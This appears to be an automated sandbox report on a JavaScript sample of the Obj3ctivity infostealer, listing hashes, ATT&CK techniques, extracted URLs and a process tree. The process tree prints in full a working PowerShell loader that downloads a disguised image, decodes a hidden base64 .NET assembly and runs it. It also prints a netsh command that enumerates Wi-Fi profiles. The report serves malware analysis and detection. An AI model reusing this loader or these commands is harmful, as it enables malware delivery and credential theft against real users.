obj3ctivity | 0b44b661974b43ec8eac1f352951cb1f9fc703bbbbbd0e57a38e118b5d1524ec

General

Target

0b44b661974b43ec8eac1f352951cb1f9fc703bbbbbd0e57a38e118b5d1524ec.js
Size

175KB
MD5

bfacd543f1c8ed0bbbb56d4ee2163b27
SHA1

f752d970c3e8c41c9c1bc42443c378d3353c3511
SHA256

0b44b661974b43ec8eac1f352951cb1f9fc703bbbbbd0e57a38e118b5d1524ec
SHA512

c23f6307a4754d9138d839af693d2ff02c5c49fa6cb38d7deaaf636b79d2986beb059c805a6ffae7ccc948fcf5225368c4773cbb02ea63aa347c9842418dbfa8
SSDEEP

3072:IzkhJXA9AyzShrbV8QauBNA96q0rvY4FDKj:IIPrbV8JKkj

Score

10^/10

obj3ctivity discovery execution stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg

exe.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg

Signatures

Detects Obj3ctivity Stage1 1 IoCs

Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.

stealer

resource	yara_rule
behavioral2/memory/2976-21-0x0000000000400000-0x00000000004E6000-memory.dmp	family_obj3ctivity

Obj3ctivity family
obj3ctivity
Obj3ctivity, PXRECVOWEIWOEI
Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
stealer obj3ctivity

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	3580	wscript.exe
6	3580	wscript.exe
9	3580	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2364	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1344	netsh.exe
3984	cmd.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\0b44b661974b43ec8eac1f352951cb1f9fc703bbbbbd0e57a38e118b5d1524ec.js
1⤵
- Blocklisted process makes network request
PID:3580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$originalText = '#x#.621/elif/#en.salij//:sp##h';$restoredText = $originalText -replace '#', 't';$imageUrl = 'https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = [ClassLibrary1.Home].GetMethod('main').Invoke($null, [object[]] @($restoredText,'false','MSBuild','false'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2364
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:4332
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:2976
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3984
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        
        PID:468
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        5⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1344
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr All
        5⤵
        
        PID:2384

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:1872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Wi-Fi Discovery

1

T1016.002

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gbife2u5.ska.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2364-24-0x00007FFBF2680000-0x00007FFBF3141000-memory.dmp

Filesize
10.8MB

Download
memory/2364-6-0x00007FFBF2683000-0x00007FFBF2685000-memory.dmp

Filesize
8KB

Download
memory/2364-17-0x00007FFBF2680000-0x00007FFBF3141000-memory.dmp

Filesize
10.8MB

Download
memory/2364-18-0x00007FFBF2680000-0x00007FFBF3141000-memory.dmp

Filesize
10.8MB

Download
memory/2364-19-0x000001B669050000-0x000001B669064000-memory.dmp

Filesize
80KB

Download
memory/2364-20-0x000001B669060000-0x000001B669066000-memory.dmp

Filesize
24KB

Download
memory/2364-7-0x000001B666AF0000-0x000001B666B12000-memory.dmp

Filesize
136KB

Download
memory/2976-25-0x00000000052B0000-0x0000000005316000-memory.dmp

Filesize
408KB

Download
memory/2976-21-0x0000000000400000-0x00000000004E6000-memory.dmp

Filesize
920KB

Download
memory/2976-26-0x00000000059D0000-0x00000000059E2000-memory.dmp

Filesize
72KB

Download
memory/2976-27-0x00000000061B0000-0x0000000006372000-memory.dmp

Filesize
1.8MB

Download
memory/2976-45-0x0000000006BA0000-0x0000000007144000-memory.dmp

Filesize
5.6MB

Download
memory/2976-59-0x0000000005DC0000-0x0000000005E36000-memory.dmp

Filesize
472KB

Download
memory/2976-49-0x0000000006890000-0x0000000006922000-memory.dmp

Filesize
584KB

Download
memory/2976-81-0x0000000007680000-0x0000000007BAC000-memory.dmp

Filesize
5.2MB

Download

Analysis

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